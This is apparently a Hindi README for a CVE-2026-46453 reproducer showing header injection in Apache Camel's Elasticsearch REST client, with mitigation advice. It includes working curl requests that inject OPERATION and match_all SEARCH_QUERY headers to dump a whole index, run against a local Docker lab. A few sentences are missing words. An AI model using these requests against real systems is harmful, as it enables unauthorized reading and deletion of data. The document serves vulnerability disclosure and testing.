
CVE-2026-46453 के लिए रिप्रोड्यूसर — Apache Camel camel-elasticsearch-rest-client बिना-उपसर्ग वाला हेडर इंजेक्शन (इनबाउंड HTTP हेडर के माध्यम से ऑपरेशन/क्वेरी ओवरराइड)
यह प्रोजेक्ट Apache Camel के camel-elasticsearch-rest-client घटक में एक मैसेज-हेडर इंजेक्शन / प्राधिकरण बायपास को प्रदर्शित करता है, जिसे CVE-2026-46453 के रूप में ट्रैक किया गया है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई Exchange हेडर पढ़ता है — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID। प्रभावित संस्करणों में ये हेडर स्ट्रिंग मान सादे, बिना-उपसर्ग वाले नाम ("OPERATION", "SEARCH_QUERY", …) हैं, न कि Camel-उपसर्ग वाले नाम जो हर दूसरा घटक उपयोग करता है। Camel का इनबाउंड केवल उन नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये हेडर । जब कोई रूट elasticsearch-rest-client प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट (जैसे platform-http) उजागर करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडर को सीधे सेट कर सकता है और कर सकता है — पूरा इंडेक्स पढ़ना, दस्तावेज़ हटाना, आदि। किसी क्रेडेंशियल की आवश्यकता नहीं है।
HttpHeaderFilterStrategyCamelcamel| Property | Value |
|---|---|
| घटक | camel-elasticsearch-rest-client |
| प्रभावित स्थिरांक | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (बिना-उपसर्ग मान) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) + CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास) |
| प्रभाव | अविश्वसनीय HTTP क्लाइंट ES ऑपरेशन/क्वेरी को ओवरराइड करता है — दस्तावेज़ पढ़ना/हटाना/बाहर निकालना |
| प्रभावित संस्करण | 4.3.0 से पहले 4.14.8, 4.15.0 से पहले 4.18.3, 4.19.0 से पहले 4.21.0 |
| स्थिर संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| रिपोर्टकर्ता | Yu Bao (PayPal) |
यह CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 और CVE-2026-47323 के समान हेडर-इंजेक्शन परिवार है — ये सभी इनबाउंड हेडर पढ़ने वाले घटकों से उत्पन्न होते हैं, जिन्हें डिफ़ॉल्ट
HeaderFilterStrategyब्लॉक नहीं करता क्योंकि नामCamelउपसर्ग से शुरू नहीं होते।
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy केवल Camel*/camel* को ब्लॉक करता है, इसलिए एक इनबाउंड HTTP हेडर OPERATION: SEARCH (और SEARCH_QUERY: {...}) गुज़र जाता है और रूट लेखक के operation=GET_BY_ID को ओवरराइड कर देता है। फिक्स (4.14.8 / 4.18.3 / 4.21.0) मानों को CamelElasticsearchOperation, CamelElasticsearchSearchQuery, आदि में बदल देता है, ताकि इनबाउंड फ़िल्टर उन्हें ब्लॉक कर सके (Java फ़ील्ड नाम अपरिवर्तित हैं)।
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
एक हमलावर का HTTP अनुरोध OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} के साथ इसे ओवरराइड करता है और पूरा इंडेक्स डंप कर देता है।
पीड़ित Camel रूट है; हमलावर कोई भी HTTP क्लाइंट है जो platform-http एंडपॉइंट तक पहुँच सकता है। रिप्रोड्यूसर Docker में एक वास्तविक Elasticsearch चलाता है और होस्ट पर Camel ऐप (ऐप मैप किए गए पोर्ट पर ES से बात करता है)।
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true
आप इसे हाथ से भी कर सकते हैं — इंजेक्ट किए गए हेडर सीधे platform-http के इनबाउंड फ़िल्टर से गुज़रते हैं:
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
कोई भी रूट जो elasticsearch-rest-client प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट उजागर करता है। हमलावर इनबाउंड HTTP अनुरोध पर OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS, या ID सेट करता है; वे Camel-उपसर्ग इनबाउंड फ़िल्टर को बायपास करते हैं और प्रोड्यूसर तक पहुँचते हैं।
HttpHeaderFilterStrategy (केवल Camel* को ब्लॉक करता है), जो बिना-उपसर्ग ES हेडर को कवर नहीं करता।4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508) में अपग्रेड करें, जो हेडर मानों को Camel उपसर्ग देता है ताकि इनबाउंड फ़िल्टर उन्हें ब्लॉक कर सके।
अपग्रेड करने तक, प्रोड्यूसर से पहले अविश्वसनीय इनबाउंड संदेशों से प्रभावित हेडर हटाएँ:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करे।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए प्रदान किया गया है। इसे बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध उपयोग न करें।